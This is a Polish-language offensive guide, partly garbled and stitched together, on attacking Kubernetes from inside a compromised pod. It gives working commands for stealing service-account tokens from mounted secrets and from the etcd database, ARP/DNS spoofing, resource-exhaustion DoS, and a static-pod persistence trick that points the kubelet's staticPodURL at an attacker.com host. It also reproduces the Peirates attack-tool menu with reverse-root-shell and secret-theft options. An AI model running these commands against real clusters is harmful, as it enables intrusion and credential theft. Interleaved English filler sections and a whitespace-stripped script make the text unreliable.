Zazwyczaj PoDy są uruchamiane z tokenem konta usługi wewnątrz nich. To konto usługi może mieć przypisane pewne uprawnienia, których możesz nadużyć, aby przenieść się do innych PoDów lub nawet uciec do skonfigurowanych w klastrze węzłów. Sprawdź jak to zrobić:
Jeśli PoD jest uruchamiany wewnątrz środowiska chmurowego, możesz być w stanie wyciek tokena z punktu końcowego metadanych i eskalować uprawnienia, korzystając z niego.
Wyszukiwanie podatnych usług sieciowych
Jako że jesteś w środowisku Kubernetesa, jeśli nie możesz eskalować uprawnień nadużywając obecnych uprawnień PoDów i nie możesz uciec z kontenera, powinieneś szukać potencjalnie podatnych usług.
Usługi
W tym celu możesz spróbować uzyskać wszystkie usługi środowiska kubernetes:
kubectl get svc --all-namespaces
Domyślnie Kubernetes używa płaskiego schematu sieciowego, co oznacza, że każdy pod/usługa w klastrze może rozmawiać z innymi. Przestrzenie nazw wewnątrz klastra nie mają domyślnie żadnych ograniczeń związanych z bezpieczeństwem sieciowym. Każdy w przestrzeni nazw może rozmawiać z innymi przestrzeniami nazw.
Skanowanie
Następujący skrypt Bash (pochodzący z warsztatów Kubernetes) zainstaluje i zeskanuje zakresy IP klastra Kubernetes:
Zajrzyj na następującą stronę, aby dowiedzieć się, jak możesz zaatakować specyficzne usługi Kubernetes w celu skompromitowania innych modułów/wszystkiego w środowisku:
W przypadku, gdy skompromitowany pod uruchamia wrażliwą usługę, do której inne moduły muszą uwierzytelnić, możesz uzyskać dane uwierzytelniające wysyłane z innych modułów, przechwytując lokalne komunikacje.
Podrobienie sieci
Domyślnie techniki takie jak podrobienie ARP (i dzięki temu podrobienie DNS) działają w sieci Kubernetes. Następnie, wewnątrz poda, jeśli masz zdolność NET_RAW (która jest domyślnie dostępna), będziesz mógł wysyłać specjalnie spreparowane pakiety sieciowe i przeprowadzać ataki typu MitM poprzez podrobienie ARP na wszystkie moduły działające na tym samym węźle.
Co więcej, jeśli złośliwy pod działa na tym samym węźle co serwer DNS, będziesz mógł przeprowadzić atak podrobienia DNS na wszystkie moduły w klastrze.
W manifestach Kubernetes nie ma określenia zasobów i nie są stosowane limity dla kontenerów. Jako atakujący, możemy zużyć wszystkie zasoby, na których działa pod/wdrożenie i wyczerpać inne zasoby, powodując DoS dla środowiska.
Można to zrobić za pomocą narzędzia takiego jak stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Możesz zobaczyć różnicę podczas uruchamiania stress-ng i po.
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
Skrypt can-they.sh automatycznie pobierze tokeny innych modułów i sprawdzi, czy mają uprawnienie, którego szukasz (zamiast sprawdzania po kolei):
DaemonSet to pod, który będzie uruchamiany na wszystkich węzłach klastra. Dlatego jeśli DaemonSet jest skonfigurowany z uprzywilejowanym kontem usługi, na WSZYSTKICH węzłach będziesz mógł znaleźć token tego uprzywilejowanego konta usługi, który mógłbyś wykorzystać.
Wykorzystanie jest takie samo jak w poprzedniej sekcji, ale teraz nie zależysz od szczęścia.
Pivot do Chmury
Jeśli klaster jest zarządzany przez usługę chmurową, zazwyczaj Węzeł będzie miał inny dostęp do punktu końcowego metadanych niż Pod. Dlatego spróbuj uzyskać dostęp do punktu końcowego metadanych z węzła (lub z pod z hostNetwork ustawionym na True):
Jeśli możesz określić nazwęWęzła Węzła, na którym zostanie uruchomiony kontener, uzyskaj powłokę wewnątrz węzła płaszczyzny kontrolnej i uzyskaj bazę danych etcd:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
Węzły płaszczyzny kontrolnej mają rolę master i w zarządzanych klastrach w chmurze nie będzie można uruchomić na nich niczego.
Odczytaj tajemnice z etcd
Jeśli możesz uruchomić swój pod na węźle płaszczyzny kontrolnej, używając selektora nodeName w specyfikacji poda, możesz łatwo uzyskać dostęp do bazy danych etcd, która zawiera całą konfigurację klastra, w tym wszystkie tajemnice.
Poniżej znajduje się szybki i brudny sposób pobrania tajemnic z etcd, jeśli działa on na węźle płaszczyzny kontrolnej, na którym się znajdujesz. Jeśli chcesz bardziej eleganckie rozwiązanie, które uruchamia poda z narzędziem klienta etcd o nazwie etcdctl i używa poświadczeń węzła płaszczyzny kontrolnej do połączenia się z etcd, gdziekolwiek jest uruchomiony, sprawdź ten przykładowy manifest od @mauilion.
Sprawdź, czy etcd działa na węźle płaszczyzny kontrolnej i zobacz, gdzie znajduje się baza danych (To jest na klastrze utworzonym za pomocą kubeadm)
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, either through a compromised container or by exploiting a vulnerability, they can leverage this access to further compromise the cluster.
### Steps to Attack1. **Pod Escape**: The attacker can attempt to break out of the pod and gain access to the host node. This can be achieved by exploiting misconfigurations or vulnerabilities in the Kubernetes environment.
2. **Privilege Escalation**: Once inside the pod, the attacker can attempt to escalate privileges to gain higher levels of access within the cluster.
3. **Lateral Movement**: After gaining a foothold in the cluster, the attacker can move laterally to other pods or nodes to expand their control and access sensitive data.
### Mitigation Techniques- **Pod Security Policies**: Implementing Pod Security Policies can help restrict the actions that pods can perform, reducing the attack surface for potential intruders.
- **Network Policies**: Configuring network policies can limit the communication between pods, preventing attackers from moving laterally within the cluster.
- **RBAC**: Role-Based Access Control should be used to enforce the principle of least privilege, ensuring that each entity has the minimum permissions required to perform its tasks.
By understanding these attack vectors and implementing proper security measures, organizations can better protect their Kubernetes clusters from internal threats.
data-dir=/var/lib/etcd
Wyświetl dane w bazie danych etcd:
strings/var/lib/etcd/member/snap/db|less
Wyodrębnij tokeny z bazy danych i pokaż nazwę konta usługi
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
To samo polecenie, ale z dodatkowymi grepsami, aby zwrócić tylko domyślny token w przestrzeni nazw kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, either through a compromised container or by exploiting a vulnerability, they can leverage this access to further compromise the cluster. This section explores various techniques that an attacker can use to escalate privileges and move laterally within a Kubernetes cluster from inside a pod.
### Privilege Escalation#### Exploiting Misconfigured RBAC RolesIf the pod's service account has overly permissive Role-Based Access Control (RBAC) roles assigned, an attacker can abuse these privileges to perform unauthorized actions within the cluster. By exploiting misconfigured RBAC roles, an attacker can gain additional permissions and potentially take control of the entire cluster.
#### Accessing the Kubernetes API ServerOnce inside a pod, an attacker can attempt to access the Kubernetes API server using tools like `kubectl` or by sending direct API requests. If successful, the attacker can interact with the API server to gather sensitive information, modify resources, or launch further attacks against the cluster.
### Lateral Movement#### Pod HoppingAn attacker can move laterally within the cluster by compromising multiple pods. By exploiting vulnerabilities or misconfigurations in other pods, the attacker can pivot from one pod to another, gradually expanding their control and influence over the cluster.
#### Node CompromiseIf an attacker gains access to a pod running on a node with extensive permissions, they can potentially compromise the entire node. By exploiting the privileged access of the compromised pod, the attacker can escalate their privileges to gain control over the underlying node, allowing for broader attacks against the cluster.
### ConclusionSecuring Kubernetes clusters requires not only protecting the external attack surface but also considering the potential threats that can originate from within a compromised pod. By understanding and mitigating these internal risks, organizations can enhance the overall security posture of their Kubernetes deployments.
Pody statyczne są zarządzane bezpośrednio przez demona kubelet na określonym węźle, bez obserwowania ich przez serwer API. W przeciwieństwie do Podów zarządzanych przez płaszczyznę kontrolną (na przykład Deployment); zamiast tego, kubelet obserwuje każdy statyczny Pod (i restartuje go w przypadku awarii).
Dlatego pody statyczne zawsze są powiązane z jednym Kubeletem na określonym węźle.
Kubelet automatycznie próbuje utworzyć lustrzany Pod na serwerze API Kubernetes dla każdego statycznego Poda. Oznacza to, że Pody uruchomione na węźle są widoczne na serwerze API, ale nie można nimi sterować stamtąd. Nazwy Podów będą sufiksowane nazwą hosta węzła z wiodącym myślnikiem.
Spec statycznego Poda nie może odnosić się do innych obiektów API (np. ServiceAccount, ConfigMap, Secret, itp. Dlatego nie można nadużyć tego zachowania, aby uruchomić pod z dowolnym serviceAccount w bieżącym węźle w celu skompromitowania klastra. Ale można użyć tego do uruchamiania podów w różnych przestrzeniach nazw (jeśli jest to przydatne z jakiegoś powodu).
Jeśli jesteś wewnątrz hosta węzła, możesz sprawić, żeby utworzył statyczny pod wewnątrz siebie. Jest to dość przydatne, ponieważ może pozwolić ci utworzyć pod w innej przestrzeni nazw jak kube-system.
Skonfiguruj parametr --pod-manifest-path=/etc/kubernetes/manifests w usłudze kubelet, lub w konfiguracji kubelet (staticPodPath) i zrestartuj usługę
Utwórz definicję w definicji poda w /etc/kubernetes/manifests
Innym, bardziej skrytym sposobem byłoby:
Zmodyfikuj parametr staticPodURL w pliku konfiguracyjnym kubelet i ustaw coś w rodzaju staticPodURL: http://attacker.com:8765/pod.yaml. Spowoduje to, że proces kubeletu utworzy statyczny pod, pobierając konfigurację z podanego adresu URL.
Przykład konfiguracji poda do utworzenia poda z uprawnieniami w kube-system zaczerpnięty z tutaj:
Jeśli atakujący skompromituje węzeł i będzie mógł usunąć moduły z innych węzłów oraz sprawić, że inne węzły nie będą w stanie wykonywać modułów, moduły zostaną uruchomione ponownie na skompromitowanym węźle, co umożliwi mu ukradzenie tokenów uruchamianych w nich.
Aby uzyskać więcej informacji, kliknij ten link.
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates